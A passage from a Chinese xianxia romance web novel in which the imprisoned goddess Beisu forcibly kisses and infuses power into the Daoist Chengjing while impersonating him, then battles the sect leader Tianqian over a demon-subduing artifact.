他要是死在这,那她去哪找容器?鳞舞到时候会哭吧。 视线里成镜身后的莲花虚影越来越实,他依旧稳稳站在原地,他伤不了雾漓,雾漓忌惮他,暂时未曾近身。 很快雾漓发现他的异样,以成镜的实力,不可能只一直与他周旋,除非—— “道君今日是没吃饱饭吗,一点力气都没有。”俊逸的面容扯出一丝笑,他直接逼近成镜,抬手冲向他脖颈,小臂肌肉鼓起,臂环被撑开。 凝聚他全力一击的一掌将至时,成镜身后莲花虚影终于凝实,瞬间绽放,穿过成镜身体,如同一张巨口,一口吞噬雾漓。 速度快到一眨眼,雾漓便不见了身影。 北溯稍稍直了身子,没想到成镜还能做到这一步,难怪不求她。 见成镜与昆仑镜的连接断开,她方要趁此机会夺走昆仑镜,一直挺拔的身形一颤,鲜血从他口中溢出,滴落到青衫上,滑出道道痕迹,宛如荷塘里游过的红鲤,红得妖冶。 莲花挡住斗得正酣的四人,他们看不到此处情形。 “还不求我吗?” 夹杂着几分苦恼的声音响起,这次并非传音,成镜雪一般的长睫微抬,朝着声音响起的地方偏头,那里似乎站着一名白衣女子,歪着脑袋看他,脸上表情似乎有几分怜惜。 唇瓣嚅动,却什么都没有说出来。 发丝与睫羽逐渐转黑,他似乎撑不住了,眼帘垂下,身子摇晃的幅度增大,最终朝前倒去。手里的昆仑镜滑落,自动归于他芥子符中。 北溯看着他倒下,眉间紧皱。 下一瞬,那洁净不染尘埃的身体落入她怀中,北溯搂着他的腰身,被他撞到肩膀,唇上的血全都蹭到她肩上。 她嫌弃地要擦去肩上的血,却在看清怀里男人此刻的状态时,方向一转,按上了他的唇。 血染了唇,那颜色红得夺目。 北溯在心中轻叹,好艳的唇。 指尖将他唇上的血抹匀,颇为满意地看到这红润的唇,想起那晚咬他的唇时,被自己忽视的柔软。 当初她确实没有别的心思,只想将鳞舞的力量注入他体内,现在么…… 望着这张脸的眸光渐渐转深,她摁在他唇上的力道不自觉地加重,先前被他勾出的凌虐欲逐渐攀升,隐隐要盖过理智。 指尖沾着他的血,将他的唇摁出各种形状,越来越用力。 手腕忽然被握住,那双阖上的眼骤然睁开,双眸森冷。 “你在干什么?” 21. 第 21 章 自喉间到心肺全是灼痛,使用灵源带来的反噬使他几乎没力气再动,这个时候她要是对自己做什么,他无法反抗。 成镜偏开头,方才短暂失去意识,恢复时便见她离得自己极近,手还在他—— 唇上残余的触感还在,被她揉弄得泛着几分痛意,与那晚被她撕咬时,一样的疼。 成镜着实不知这位邪神为何对他总是这般的……粗鲁,对于一个陌生人,不仅如此亲密,甚至她在做这种事时,根本不觉得羞耻。 他松开手,站直身子,尽管身体正遭受被撕裂一般的痛,仍旧未显露出,不着痕迹地离她远些,移开视线,吞下雾漓的莲花映入眼帘。 只是那道依旧看他的目光极为炽热,叫他忽视不得。 北溯还是没能从他鲜红的唇移开目光,忽然想看看他银发时,再配上这样的唇色,纯净的白染上红,定然比现在更好看。 她顺着成镜的视线望过去,那朵两人高的莲花合拢,里头被困住的魔几次尝试,都没法挣脱,花瓣被击打得凸起,偏就没有破。 还挺硬? 视线里成镜身形又是一晃,这次她没看着不管,直接将人拉入梦境里,身形一变,青衫道君显现。 北溯站在莲花前,饶有兴致地看着里头的魔挣扎,心想要不要再放一把火,给这只真身是孔雀的魔烤烤。 那女子发现雾漓被困,几次要来施救,次次被墨九歌拦住。 他带着笑,颇为好奇:“魔族女子也是如你这般,穿着暴露?” 雾蓉弯刀不客气甩过去,盯准墨九歌的双眼攻击:“待我削了你的子孙根,你也能与我穿得一样。” 星峦见墨九歌一人便可拦住女魔头,也不管他耍嘴皮子,与陆长老对视一眼,同时结阵。 道君已将另一只魔困住,再拿下这只女魔头便可。禁阵突起,雾蓉见状,手中刀越过墨九歌飞旋射向星峦,与此同时另一把弯刀牵制墨九歌,不让他回去救人。 星峦面色骤变,当即断了阵法就地一趴躲过去,弯刀飞旋回雾蓉手中,手腕一低,直冲墨九歌腹下。 墨九歌立刻后退,衣袖遮住下半身,脸色微变,“下手真狠。” 雾蓉不管他,冲回莲花前,挥刀一割,居然割开了。花瓣被消融,露出雾漓健硕的身体。 北溯看了几眼,这只孔雀依旧那么爱美,成了魔身上的布料更少了,裸露的麦色皮上有几道烧灼痕迹。 昆仑镜可除邪气,也可除魔气,成镜用昆仑镜的力量凝出的莲花可吞噬雾漓身上的魔气,这一招倒是与吞噬凤鸣那一击一样。 一抬眼对视雾漓的眼,北溯挑眉,道:“还想再打吗?” 现在的“道君”是她,打起来她可不会手下留情。即便打不死雾漓,也能重创他。 “尊主,他有昆仑镜……”雾蓉忌惮,昆仑镜认主,是他们没料到的。 雾漓死死盯着“成镜”,透过他看向他身后的血棺,眼中划过不甘,还有几分疯狂。 “三百年了,她终有重新入世的一天,你们杀不死她。” 他放声狂笑,神态癫狂,连北溯都觉得他疯癫。不过这句话说得对,她现在出来了。 但…… 雾漓嘴里怎么可能会说出这种话,他们可是仇人,巴不得捅死对方的仇人啊。 两团魔气冲出洞窟,星峦发出一声糟了,立刻冲出去,陆长老随之惊觉弟子们还在外头,赶忙追上去。 墨九歌见状也要一起去,却见那道青色身影面向血棺,犹豫片刻,道:“那就劳烦道君查看封印是否松动,我等先去看看外面守着的弟子是否安全。” 他没有得到回答,想了想直接走了,洞窟内安静下来。 北溯望着自己躺了三百年的棺材,起初的五十年里日日夜夜遭受削骨剜心之痛,后来老不死的留下的力量散去,便不会再被折磨,被困在这棺中,睁眼闭眼都是黑暗。 三百年不见天日,出来的那天,看到水面中自己的脸,居然会觉得陌生。 三百年啊,她被封印三百年,被昆仑那群老不死的诬陷诋毁,背负骂名。 怎么她出来了,封印她的人都死了呢?她还想着要让他们也尝尝同样的痛。不过没关系,昆仑还在,她还能复仇。 戾气不被控制地上涌,北溯放任恨意吞噬自己,抬手在自己设下的梦境里加了一道杀意,凡是试图触碰封印开棺的人,都会被这道杀意锁定,将其拖入梦中,被无穷无尽的梦折磨至精神消磨。 她将禁阵复原,转身走出洞窟。 现在她要做的,便是在今晚将鳞舞剩余的力量注入成镜体内,明晚——月圆之夜,炼化他。 在明日昆仑的人动手前,带走他。 走出去时,三位长老身上挂彩,正愤恨咒骂:“魔族实在可恨,杀我宗供奉、弟子,死不足惜!” 见“他”出来但浑身泛着森冷杀意,不敢靠近,壮着胆子问:“道君可查探了——” “封印未曾松动。”北溯缓缓扫过面前的几人,嗜血之意冲上头,真想现在就将他们杀了。但她需要看到昆仑来的人实力如何,才可为日后成镜的身体修复鳞舞时,做好万全准备。 “那便好那便好,就等昆仑仙人过来,灭了此邪神!” 几人纷纷点头,赞同不已。 北溯心中冷嗤,不理他们,直接回道宗。 这次前往探查,死了两名内门弟子,星峦与陆长老受了轻伤。 天綪似乎料到他们会在傍晚前回来,召集内门弟子在一重山练武场集合,迎接他们归来。 北溯被簇拥着走上高台,俯视底下几百名弟子,他们投过来的目光皆是崇拜倾慕,这样的眼神,曾经她也受到过,时隔多年,久违地借成镜的样子再次感受到。 会令人膨胀,自傲。 她忽然好奇,成镜接收这样的目光时,心中想的是什么?不过按他在梦境中显现的欲望,怕是根本不在乎。 她嗤笑,你们不该钦佩成镜,他这样心如止水的人,怎么可能会在意蝼蚁。 天綪的声音响起,北溯敛神去听。 她先是表达对魔族杀道宗弟子的愤恨,随后说起昆仑。 “明日昆仑仙人便会莅临道宗,此番前来,是为两件要紧之事,一为协助道君飞升,二为铲除邪神。” 北溯都快听腻了,一个两个都要铲除她,杀了她就不会有第二个邪神了吗? “当初邪神破坏天道法则,祸害人间,致使世间生灵涂炭,昆仑仙人将其封印,为的便是等待今日如道君这般修为高深的强者出现,将其击杀。” 北溯好整以暇听她继续说那一套话,你说的修为高深的道君,可是被我三番五次羞辱,连还手都做不到,还想杀我? 笑话。 “当年妖族与人族结盟共抗魔族,邪神何其残忍,竟然屠戮同族,妖界差点葬送她手。” 北溯冷了眸,她还在说:“连同族都能杀的人,心肠歹毒至极。” “尔等若抱有为天下苍生而献身的决心,便与道君一同弑了那天地不容的邪神!” 台下呐喊阵阵,人声鼎沸。 北溯冷眼看着道宗弟子们被煽动得情绪高涨,笑他们不自量力,蝼蚁也敢弑神。 天綪将话头转到“成镜”身上,问他:“道君意下如何?” 北溯转眸,盯着天綪的眼睛,道:“很好。” 都来送死,当然好了。 天綪露出笑,深深看“他”一眼,道:“那便辛苦道君了。 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她被定住不动,成镜这才有空闲喘息,先前消耗的灵源还未补回来,明日便是月圆之夜,他已经没有多余的灵力动手杀她。 扫视她被定住的身体,疑惑蹙眉,今晚的她比起前几晚,情绪波动更大。 并不想知道是什么引起她这般变化,方要推开她,手刚搭上她的肩膀,她忽然抬头。看清她眼底情绪后猛然意识到她要做什么,成镜心头狠狠一颤,数次被她强制的记忆浮现,忘记做出反应,就这么被禁锢住。 北溯双手掐住成镜手腕,反压到莲台上,欺身逼近,丝毫不顾他的感受,一口咬上他的唇。 血腥味蔓延口腔,北溯松开手,将他唇上的血抹匀,欣赏他此刻的模样。 额间的碎发遮挡莲花印记,狭长的丹凤眼里充满怒意,混杂着难以察觉的屈辱之色,那唇上是她抹上去的血,源自他的身体,润透薄唇。 挺翘饱满的唇珠尤为吸引目光,北溯瞧了许久,慢慢吐出两个字: “好看。” 眼瞳闪过翠绿之色,水面上浮出无数星子,凝聚成蛇,攀上成镜身体。 阴湿,光滑,无处不在。 她再次俯身,咬住他的唇,星子与她的灵源不断渡入他口中。分明可以轻一点,她却动作粗鲁得扯乱了他的衣襟。 熟悉的烧灼从口唇蔓延到胸肺,灼痛身体。 “唔——” 成镜挣扎的双臂被按下,声音被吞没,睁着的眼帘无力垂下,视线里全都是她。 不仅丹田烧灼,灵脉也被占据,现在这具身体,除了灵源是他的,其余全都是她灌进来的力量。 “北……北……”他艰难吐出在幻境中听到的她的名字,意图唤醒她的理智。 北溯一愣,稍稍撤开,盯着身下迤逦艳色的男人,问:“你叫我什么?” 成镜眨了眼,努力看清她的面容,重复那两个音调。 “唔……”北溯不想的。 可听到自己的昵称从这个男人嘴里喊出来,还是用这样软的语气,在这个时候喊,她真的忍不住。 “再叫一声?” 男人很快意识到她在戏弄自己,抿唇不言。 北溯撩了一下自己碍事的头发,俯视他,低笑。 不愿喊? 那就只能她动手,逼他喊了。 谁让这朵莲花除了是最好的容器,还处处都勾得她想蹂躏玷污。 “道君这回可要仔细感受,吻和咬的区别。” “你——”成镜瞳孔震颤,下一瞬柔软的唇覆上。 这一次,北溯没有刻意输送星子,俯身吻上他的唇。 22-30 第22章 独属于她的清新气息霸道地闯入他的鼻腔,先前嗅到时分明很淡,此刻尤其浓重,无处不在,将他包围,密不透风,近乎窒息。 唇覆上来的那一刻,他听到一声极轻的波声,整个人瞬间呆滞,连反抗都忘了。 这正好方便北溯深入,不甚温柔地抵开他的唇,撬开牙关,刚进了些,舌尖刺痛,血腥味蔓延。 被禁锢双臂的人不知哪来的力气,挣脱开来,力道极重地推开她,推开她第一件事便是收了莲台。 北溯感受了下舌尖被咬破带来的刺痛,将血咽下去,看着眼前动作快得能看出惊慌之意的男人,兴致越发地浓。 退开时她的血沾在他唇上,他好似没有察觉到,只后退数步离她远些,警惕着她的一举一动,做出战斗姿势。 然而他的发丝凌乱,被扯开的衣领都忘了整理,再加上唇上那抹红,还有被吻上唇时未散去的茫然无措。现在他这副模样,即便他的戒备杀意再重,也无法盖过他无形中散发的昳丽之色。 如同精心雕刻的瓷器,有了裂纹,却更具观赏性。 北溯抬手,紧盯他的唇,按上自己的唇,提醒他:“你唇上,有我的血。” 成镜抹去唇上的血,垂眸看见指腹上鲜红痕迹,瞳孔颤动。将指腹按到掌心,用力摩搓,以此抹去她在自己身上留下的痕迹。 胸口的灼痛在她撤开后忽然剧烈,眉头紧蹙,控制着身体残存的力量驱赶她灌进身体里的东西,却没起到任何作用,反使得那灼痛更盛。 先前他得到昆仑镜时,借用其力量探查过她灌入体中的东西,但无法看透,那是他从未见过的力量,也许只有到达神的层次,才可领悟。 这就意味着,他无法驱赶,只能任由她摆弄,成为她复活月神的容器。 垂下的眼睫颤动,眼底是水面倒映出的自己身影,衣冠不整,与往日整洁一丝不苟的形象大相径庭。 他从不知,自己会有被逼到此等地步的时候。 成镜缓缓抬头,直视面前将自己困于此地数日的女子,知道她不会罢手,没有现在整理自己,撑着虚弱的身体,只问她:“你是怎么挣脱封印的?” “你问这个,是想告诉道宗,日后好来杀我?”北溯朝他走近一步,感知着鳞舞剩余的力量,思考着待会是直接将人摁倒一把塞进去,还是慢慢地,一点点地注入,折磨他。 成镜从她话里听出嘲讽的意味,受到反噬带来的伤还未痊愈,再加上她带来的灼 烧疼痛,身体被折磨得连精神都混乱,眼前女子的声音时高时低,他努力去听,只捕捉到几个字眼。 “……以我的……破开……很疼?” 最后两个字明显是询问的语气。 有一瞬间,他以为她问的是自己。身体五脏六腑都在疼,丹田被那股力量渗入,无法阻止,内脏如同被铁器搅动,杂糅在一起,他快要站不稳。 这样的痛,与她带来的屈辱一样,在被她盯上前,从未经历过。 但他依旧强撑着没有倒下去,不肯在她面前示弱。 北溯将他此刻的状态看在眼里,朝他走去。缠在她身侧的蛇极细,浓缩成星子,也不过拳头大小。这些星子再灌入成镜体内,鳞舞的能量体就会彻底进入他身体里,届时只需完成最后一步——炼化他,鳞舞便能在他体内修复。 而炼化,需要她以神魂之力注入他身体里,与其交融,将在他体内四散的力量凝聚到他丹田处,形成胚胎。 普通修士在被她炼化时,极有可能撑不住,但金莲不同,本身就具有孕育能力,只要她稍微护着些,便不会出差错。 且以成镜如今的修为,加上金莲之身,只会缩短修复时间,若是一切顺利,最快一月便可见到鳞舞。 这是她几次接触成镜时得到的信息。 不知道他的身体在修复好鳞舞后,能不能再孕育生命呢?莲花嘛,应该是可以有很多莲子的。 北溯走至成镜面前,他现在连后退的力气都没有,摁着胸口,气息不稳。 这样的他,与他轻易解决凤鸣一击时的轻松截然不同。处处都散发着破碎的气息,令人越发地想蹂躏他,让他变得更破碎,更无法反抗。 只能受着她对他做的一切。 北溯如此想着,也这么做了。 她将自己的灵源剥离出来,裹住凝成星子的鳞舞剩余力量,一手勾住成镜后颈,拉下他,再度咬住他的唇。 预判到他要反抗,攥紧他推过来的手,将他五指捏在手心,极为用力。 虽说这是在走炼化前的最后一步,将星子注入便可松开他,但北溯没有。 她不仅没有,还放肆地咬他的唇,舌尖抵住,在他唇齿间留下自己的痕迹,力道重得唇都痛起来。 他另一只手按住她的肩膀推她,但北溯更用力地将他的脖颈拉向自己,受了伤的人哪有一个完好无损的人力气大,成镜非但没推开,还被拉得更近。 几乎压在她身上,胸膛抵住两团柔软时,身子僵硬,手上力道一松,竟是忘了要推开他。 浅浅的薄红晕染耳垂,纤长的眼睫颤着,蹭到北溯脸颊,有些痒。 北溯稍微松开了些,匆匆看了眼,只这一眼,被他此刻的神情吸引,他露出了她从未见过的表情,错愕中混杂着迷茫,底下是难以察觉羞赧。 第一次在他脸上直观地看到羞意,无形地勾着她继续,想要在这张脸上看到更多的表情,会令她兴奋的表情。 北溯再次吻住他的唇,睁着眼看他神情变化,看到他逐渐清醒过来,意识到她在做什么,愠怒通过双眼传达给她。 他又用了那招,咬她探进来的舌,咬她的唇,这次却没得到设想的结果。 北溯没有退开,血腥味只会刺激得她更想凌辱这个人。 唇齿相碰,这个吻激烈,血腥,没有一丝情欲,看对方的眼神也只有对抗,这不是吻,是撕咬。 令成镜更觉得耻辱的是,她不仅残忍地对他行这种事,还不忘将那股力量灌进来,带来火烤一般的刺痛。 睁开的眼与她对视,怒意逐渐转变为杀意,挣扎的力气因为身体不适而减弱,甚至都没什么力气去抵开她的唇,再次被她攻破防守。 血被她带进来,那血腥味几乎填满口腔,逐渐变苦。 星子完全被注入他体中的那一刻,一股奇异的感觉在两人体内同时涌上来,酥麻得身子一软。 北溯当即松开他,仔细探查这股异样从何而来。但这酥麻感一闪而逝,根本寻不到来源。 怀疑的目光投向面前的人,当即一愣。 男人狭长的丹凤眼里弥漫着雾气,不知是被疼,还是被气的。唇被她咬得红肿,她的血润透了他的唇,颜色极艳,看着看着,心底那股想要摧毁凌虐的恶意膨胀,想再对他做这种事。 成镜浑身被火烧一般,精神都被烧着,这把火在身体里点燃,找不到源头,更无法熄灭。 他用灵源压制,反而适得其反。 眼神极为复杂地看了她一眼,瞥见她眼底汹涌低沉的墨色,立刻移开。那股一闪而过的酥麻之意令他不堪,以为是自己对她的吻有了反应,手背擦过唇,想要将她留下的痕迹擦除。 但那柔软的唇触碰上来,厮磨时带来的感觉犹如钉在自己的唇上,不论怎么擦,都无法抹去。 成镜闭上了眼,不再看她,逼迫自己放空思绪。 身子微微晃了晃,他终是没法在无依靠的情况下站稳,身体伤得太重,外表看不出来,内里已经一片混乱。 莲台重现,倚靠着才没倒下,丝丝缕缕的灵力自莲台涌入他身体里,帮他恢复反噬的伤,但无法抑制灼痛。 原本纯白无暇的莲台底部染上了红,血一般的颜色。莲台与成镜同根而生,成镜的身体状况都会在莲台上反馈出来。 北溯并不知晓,只觉得这莲台上的红尤为好看,忽然想看到成镜也穿上红衣。 不过看他此刻虚弱的模样,还是不要逼得太紧,伤了这副好身子,哪里再去找第二朵金莲。 她将喷涌而出的恶念锁回去,眨了眨眼,又恢复成闲适悠然的模样。 “莲台能恢复你的伤势?”梦境里一丝灵力波动都会被她感知到,几次看见成镜在莲台上打坐,原来是在恢复灵力? 成镜没有回答。 北溯仔细看了好一会,见他衣衫更乱,提醒道:“你的胸口快要露出来了。” 男人当即背过身去,胳膊动着,明显在理衣衫。 北溯笑出声:“道君时时刻刻都要注意自己的仪容仪表,不如打造一面镜子,随手携带。” 她哦了一声,笑意不止:“我倒是忘了,道君手里有一面镜子,何不拿出来照照,看看自己有没有整理好。” 那笑声在成镜听来,是讽刺,无人可见的脸庞上攀上薄红,他深吸一口气,忍耐着她的戏弄,将衣衫整理好。理衣领时,双臂微颤,那是身体疼痛到极点,无法控制而本能地颤抖。 北溯看出来了,但她不打算帮他,且也不知将鳞舞的力量灌入他体内会发生什么。换了旁人,她都不会这样温柔地分成几次灌输,更不会给他恢复灵力的机会。 但旁人被她这么对待,反应定然要比他大得多。 北溯又不满意了,她都这样对待他了,怎么反应还是这么淡? 要怎么样,他才会像第一次那样,愤怒得想要杀她? 不是可以用灵源吗,怎么不用呢。 她现在的灵源耗费大半,他现在动手,说不定可以和她同归于尽呢。 多好啊,这样就能杀了她这个邪神。 被含有神性的金莲杀死,即使他死了,也能在人界,在昆仑留下英名,受世人敬佩,这不好吗? 北溯想不明白,一如她不明白为何成镜宁愿动用灵源去催动昆仑镜,都不向她求助。 真不愧是世间最纯净之物,即便深陷困局,也不愿向的她屈服。 并不觉得气馁,反而更激发她想要征服他的心,越发地想要折下这朵莲花,想看他在自己身下泣出屈辱的泪,看到他向自己求饶,求她放过他。 既然说她残忍歹毒,那她就坐实了这歹毒,昆仑,她会灭,这朵源自仙界的金莲,她也不会放过。 现在只不过刚开始。 北溯冷眼看着男人用灵力压制体内的痛,新奇地看到莲台上的红时隐时现,颇为好奇,先前 她不过是坐了一次,他立刻收了回去,现在倒是拿出来了,下次有机会再坐。 她启唇,留下一句话:“道君好好养伤,你的身体,可是不止你在用哦。” 背对着她的人身子一僵,下意识去看自己丹田之处,他能感觉到隐隐有股力量在攻击丹田外防御,但现在根本无法驱逐。 成镜垂下的眼中凝结冷霜,杀意几乎凝成实质。 以灵源之力催动昆仑镜遭受的反噬使他无法再动用灵源,灵源损耗极难恢复,一旦损耗完,灵脉会枯竭,此生再也无法修炼,且会很快老死,这几乎是不可逆的。 以耗尽灵源为代价去杀一个实力不知深浅的邪神,不并非明智之举。唯一的希望,只有渡过明晚,恢复实力。届时,便可动手将她禁锢,与昆仑共同将其斩除。 忍耐,再忍一天,便可解脱。 成镜在心底如是告诉自己,极力忽视她话里的侮辱。 不论如何,他绝不会成为她用来孕育子嗣的容器,也不会被她利用去复活月神。 忽地脚下一空,水面流动,成镜当即操控莲台接住自己,抬眸怒向始作俑者。 她却如同稚子般单纯笑着,方才做的恶作剧令她愉悦,对他来说,是戏耍。 “我看你好像不太舒服,水里泡泡或许会好些?” 他的语气冷硬:“不劳邪神操心。”说完盘腿而坐,阖上眼帘不再看她一眼。 “唔……”怎么不喊北北了? 北溯轻轻叹一声,不领情就算了。她的梦境之海确实有养神的效果,他不愿下去,那就自己受着吧。 方要离开,神识感知到重莲殿外有人靠近,笑意收敛,化作成镜的样子,走之前瞥了他一眼,眼睛还闭着,看不到她变成他的模样,有些失望。 他要是知道自己变成他的样子骗过了那群人,该是会着急,还是没什么反应呢。 不过也没专门去叫他看,外头来的人是天綪,她得处理好,待明日见到昆仑来的都是谁,便带成镜离开。 出梦境前,忽然有些想鳞舞。没有它在身边唠叨,有些不习惯。 她抬手,腕间浮现青色纹印,这是她与鳞舞之间的契约印。明晚将成镜炼化后,契约印若是消散,便说明她成功了。 北溯闭了眼,顿了片刻,睁眼离开梦境。 莲台上的人感知到她离开,支撑不住地倒在莲台上,被痛苦折磨得额间青筋暴起,脖颈上血管凸起,细密汗珠浮现,脸色异常苍白。 他揪紧胸口衣襟,死死咬着唇,控制不发出声音,前几次痛过,但没有现在这般强烈,只能生生熬着,熬到这痛意减弱。 在心底一次次告诉自己,只需再忍一天,便可摆脱,她在自己身上施加的折磨与屈辱,终会在明日结束后,由他了结。 莲台缓缓化为莲花,花瓣张开,将他裹在内。最后一丝黑发都看不见,只有一朵合拢的莲花静静漂浮。 空中那轮圆月如玉盘般透亮,照得夜晚如白昼明亮。 北溯步上水栈,缓缓走向凉亭,水雾缓缓开启,凉亭内黑衣女子身影显现。 她凝眸仔细看天綪,从见到天綪第一面开始,便在她身上感知到那股令她厌恶的气息,与昆仑那群老不死的一样,令她恶心。 静谧的月光洒下,“成镜”的面容清晰可见,而凉亭挡住月光,天綪的脸隐匿在黑暗中。 她忽然开口:“我本想询问你在黑水里可有查到异样,你走得急,没来得及问。” 北溯离她不到三米远的位置停下,道:“星峦等人没有告知你?” 天綪却笑道:“三位长老是将情况与我说明了,但查看封印的是道君你,我来问你,总比他人传话更准确。” 北溯看她带笑的脸,只这么看着,笑容柔和,给人一种很好相与的错觉。也不知这两人是什么关系,有事不在白日问,几次都在夜晚过来。 “成镜”薄唇张开,回她一句:“并无异样。” 天綪未离开,继续说:“那便好。昆仑仙人明日便可到达,应当后日便会前往黑水铲除邪神,那时你身子应该能恢复了?” 北溯用神识去探查她,却只探测到一片混沌,无法探查到她的修为,只能隐约感知到大概是在无妄境。 先前已经开始怀疑她,现在怎么不动了? 北溯踏步,走入凉亭内,她的面容终于清晰。这张脸在她被封印前,从未见过,又为何会觉得她带来的感觉如此不适? 除非—— 她问:“昆仑怎么会在这个时候来杀邪神?” 天綪笑容淡去,被黑暗笼罩的眼中闪过异色。 “当年邪神力量太强,昆仑无法彻底杀死,便将其封印,昆仑耗费惨重代价,后只能避世不出,潜心研究弑神方法,时经三百余年,终于研究出来。”她的声音没有起伏,如同没有感情的木偶,“这才出世与我宗联手斩除邪神。” 北溯还真好奇了,三百年过去他们想出了什么弑神的法子,又造了什么神武,能如当年杀死月神一样,杀死她。 三百年了,当初都没能杀得了她,现在就能了? 北溯嗤笑,真想现在就见到昆仑那群老不死的,看看三百年过去,他们是不是老得都走不动路了,来道宗还需要三五天? “明日还请道君与我一同迎接昆仑仙人。”天綪扶额行礼。 北溯站在她面前,眼帘微垂,瞧着这位道宗宗主,无妄境尊者向自己行礼,久久未言。 她不说话,天綪也不起身,一时间陷入诡异的对峙中。 北溯眯起眼,再次用神识探查,但依旧无法看穿她。她忽然抬手朝天綪头顶按上去,此时天綪正好放下手抬头,躲开了她的动作。 见她抬手,天綪问:“道君要做什么?” 北溯当即凝出一道术法打入她额间,随即一股力量从天綪体内涌出,含着森然杀意。 北溯避开,那力量波及到莲池,池水炸出丈高,莲梗齐断,莲花坠入池底。 感知到这股力量里隐藏的气息,北溯生出了杀意。难怪她总看此人不顺眼,原来她身上有昆仑的保护禁制,这么看来,她与昆仑关系不浅。 “道君这是何意?” 北溯缓缓笑了,她不怕暴露,只怕没有发现自己的仇人,报不了仇。 她重新打量天綪,说的话却不是回答天綪的问题:“昆仑镜只有我可以用?” 天綪凝视面前这个“道君”许久,才缓缓出声:“是。” 北溯只说了声好,转身回去。 天綪深深看着“他”的背影,在水雾重新合上前,忽然开口:“道君既然已经查探完封印,也该将昆仑镜归位。” 北溯脚步顿下,这两人不愧是同一个宗门,同样小气。 可惜昆仑镜不在她手里,不然她定要拿出来耍耍。 见她不动,天綪上前一步,语气加重:“道君是还要借昆仑镜做些什么,还是——”她的声音压低:“根本拿不出来!” 话音刚落,气势骇人的波动荡开,直击北溯。 北溯下腰避开,脚尖在水栈上旋转,杀意不再掩藏,眨眼间冲出禁阵,来到天綪面前,裹挟着毁灭气息的一掌直直朝天綪头顶按下。这一掌威能大到凉亭轰塌,碎成粉末。 天綪显然已经早有准备,面无惧色,祭出法器,灵力灌入,刺眼的白炸开,北溯不适地后退,当即感觉到手掌被灼烧,低眸看去,掌心黏着一团雾气,正在缓缓腐蚀肌肤。 看清那雾气后,北溯缓缓抬头,精准地对上天綪怀里的法器,熟悉到化成灰她都能认出来。 森然杀意喷涌而出,她握住手,将腐蚀雾气融化,骇人威压降下,压迫得天綪弯了身子。 “我说怎么次次见你都觉得难受,回回都想杀了你,原来是因为这玩意。” 天綪手中拿着的金色锥状法器,是一把神器,名为降魔杵。对人、仙没有任何危害,却是除妖、魔的好东西。 至今还记得,那 几个老不死的用这把降魔杵偷袭月神,重创他,使他的力量溃散。 而这把降魔杵,也被用在了自己身上。昆仑追杀她时,便是用降魔杵镇压了她的力量,才致使她被困住,被封印几百年。 他们排斥痛恶邪神,堕神,在他们眼里,与妖魔无异,都要被铲除。 北溯面无表情地望着,施加的威压一次次加重,天綪的双腿渐渐弯曲,但始终没有屈服跪下。 隐约发现回来的“道君”并非成镜,她特地带来降魔杵前来试探,却不曾想,这个冒充成镜的人实力在自己之上,但她并非没有解决之法。 降魔杵震荡,从天綪手中升起,金光笼罩,将威压解开,她立刻动手,灵力催动降魔杵向北溯攻击。 神器可伤到神。 北溯冷笑,即使这是神器,天綪并非仙也非神,无法发挥出降魔杵全部实力。她只需耗费些时间,将这玩意毁了,便奈何不了她。 细碎的星芒在她周身凝聚,月光忽然亮得刺眼,整个莲池犹如白昼,一道虚影自北溯身后显现。 那是一轮金色弯月,悬于她背后,随后分裂成数道巴掌大小的弯月,如同锋利弯刀,瞬息齐发,一半为盾阻挡降魔杵威能,一半攻击降魔杵。 天綪见状当即为降魔杵叠加护盾,同时使出本命法器迎击弯月,镂空骨刀上处处都是划痕,一现世,便觉周遭冰寒,寒意冲天。 北溯仔细去瞧,看清那把骨刀是由什么东西炼制的,起了杀死她的念头。 由无数妖骨炼制出来的骨刀,含着怨气与戾气,堪称一把凶器,却是自诩正义的道宗宗主的本命法器,何其可笑。 他们视妖族为敌,将灭妖称为救世,便可冠冕堂皇地猎杀妖兽,剖妖丹制丹药,砍妖骨炼法器,这就是人族口中的正义? 北溯本打算忍到明日见到昆仑来人后,带着成镜离开,耐心等待鳞舞被修复好,再来找人族与昆仑算账。 但现在,她改变主意了。 这世间不公,她何必怜悯,世人要杀她,她何必心慈手软。 北溯抬手,虚虚一握,无形的手捏住天綪脖颈,将她从地面提起。看着天綪的眼眸闪过绿芒,那张成镜的脸面无表情,浑身气势骇人,同样的没有任何情绪流露,北溯表现出来的,是蔑视的狂放。 天綪击出一道灵力,降魔杵金光大涨,迅速对准北溯心□□去。随之而来的是腐蚀她邪气的威能,带来她几乎快要忘记的烧灼感。 北溯当即筑起防御,防护罩一层层碎裂,削弱降魔杵威能,在最后一层防护罩前停下。 而此刻天綪已经挣脱北溯的控制,一声炸响,莲池震荡,东方高山之上,梵钟响动,发出浑厚的钟声,陷入沉睡的道宗被唤醒,三位长老当即往莲池赶来,各执事召集弟子看守护宗大阵,同时开启七绝阵。 感知到道宗内阵法开启,北溯直接动手,金月弯刀去杀天綪,自己对付降魔杵。 她得速战速决,七绝阵开启,便没那么容易离开道宗。 然她刚避开降魔杵的腐蚀力量,数道杀气冲她袭来,金月回旋,击溃逼近的几掌,偏头一看,瞧见那三张脸,扯出冷笑。 “打不过,就摇人?” 神识在重莲殿内搜寻,很快一道红光闪过,火红发簪坠入北溯手中。 她望着聚集在塘埂上的四人,勾了唇:“摇人,谁不会。” 手一用力,发簪碎裂,一道红光直冲天际,随后炸开。 天綪抹去嘴角溢出的血,撑着骨刀站起身,与三位长老对视一眼,言简意赅:“此人并非道君,你们助我拿下他!” 四人分开,闪身至北溯四角,同时结印,将降魔杵设为阵眼,压在北溯头顶。 北溯瞧着他们这些小伎俩,瞳孔渐渐转为竖瞳,浑身一震,无形的冲击波炸开,四人无法抵挡,口吐鲜血,仍旧强撑着没有断开阵法。 变故突生,火红流光闪过,速度快到几乎是北溯刚击中四人,这一击便跟上来,直接瞄准星峦,将其拍飞出去,坠入池塘。 刚成型的阵法消散,剩下的三人如临大敌。 火红的翎羽飘落,半空中出现一团火,那火凝聚成人形,正是凤鸣。 凤鸣皱着眉,仔细看在场的人,没看到自己威胁的对象,不耐烦道:“捏碎我的翎羽,人呢,人怎么不出来?” 他扫视周围的瞳孔一缩,看到那金色法器,好看的面容扭曲,当即去摧毁那法器。 “又想拿降魔杵杀谁?你们这群道貌岸然的修士,手里杀的妖还不够多吗?” 数道燃烧的翎羽飞射,箭如雨下,周围气温飞速攀升,连从池塘里爬出来的星峦都觉得烫。 天綪的骨刀飞旋,挡住翎羽,发现凤鸣要做什么时,当即叫人去阻止:“他要用妖族秘术毁降魔杵!” 